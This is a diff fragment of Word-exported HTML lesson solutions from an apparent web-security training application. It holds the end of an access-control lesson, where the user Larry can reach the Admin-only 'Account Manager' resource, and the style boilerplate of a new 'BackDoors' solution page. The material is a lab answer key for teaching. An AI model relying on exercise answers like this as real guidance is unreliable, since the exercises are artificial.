|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:612.0pt 792.0pt;
|
||||
margin:72.0pt 72.0pt 72.0pt 72.0pt;
|
||||
mso-header-margin:35.4pt;
|
||||
mso-footer-margin:35.4pt;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="3074"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US link=blue vlink=purple style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Lesson
|
||||
Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> Using an
|
||||
Access Control Matrix<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Concept /
|
||||
Topic To Teach:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<!-- Start Instructions -->
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>In a
|
||||
role-based access control scheme, a role represents a set of access permissions
|
||||
and privileges. A user can be assigned one or more roles. A role-based access
|
||||
control scheme normally consists of two parts: role permission management and
|
||||
role assignment. A broken role-based access control scheme might allow a user
|
||||
to perform accesses that are not allowed by his/her assigned roles, or somehow
|
||||
allow privilege escalation to an unauthorized role. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>General
|
||||
Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Each user is
|
||||
a member of a role that is allowed to access only certain resources. Your goal
|
||||
is to explore the access control rules that govern this site. Only the [Admin]
|
||||
group should have access to the 'Account Manager' resource.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span class=Heading2Char><span style='font-size:13.0pt;
|
||||
color:windowtext'>Solution</span></span><span style='font-family:"Arial","sans-serif"'>:<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This exercise
|
||||
is straightforward. You need to find a user where you can access a resource
|
||||
that you shouldn't be able to access.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>After a few attempts
|
||||
you will learn that Larry can access resources of the role Account Manager.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75"
|
||||
coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe"
|
||||
filled="f" stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_463" o:spid="_x0000_i1026" type="#_x0000_t75"
|
||||
style='width:480pt;height:276pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/AccessControlMatrix_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=368
|
||||
src="lesson_solutions/AccessControlMatrix_files/image002.jpg" v:shapes="Picture_x0020_463"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Lesson 9<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_464"
|
||||
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:276pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/AccessControlMatrix_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=368
|
||||
src="lesson_solutions/AccessControlMatrix_files/image004.jpg" v:shapes="Picture_x0020_464"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>2</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Lesson 9 Completed<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<span style='font-size:12.0pt;font-family:"Times New Roman","serif";mso-fareast-font-family:
|
||||
"Times New Roman";mso-ansi-language:EN-US;mso-fareast-language:EN-US;
|
||||
mso-bidi-language:AR-SA'><br clear=all style='mso-special-character:line-break;
|
||||
page-break-before:always'>
|
||||
</span>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
841
src/main/webapp/lesson_solutions_1/BackDoors.html
Normal file
841
src/main/webapp/lesson_solutions_1/BackDoors.html
Normal file
@ -0,0 +1,841 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<link rel=File-List href="lesson_solutions/BackDoors_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/BackDoors_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>3</o:Revision>
|
||||
<o:TotalTime>1202</o:TotalTime>
|
||||
<o:Created>2007-07-12T14:40:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:18:00Z</o:LastSaved>
|
||||
<o:Pages>2</o:Pages>
|
||||
<o:Words>301</o:Words>
|
||||
<o:Characters>1718</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>14</o:Lines>
|
||||
<o:Paragraphs>4</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>2015</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/BackDoors_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping href="lesson_solutions/BackDoors_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:Zoom>90</w:Zoom>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Hyperlink"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Normal (Web)"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
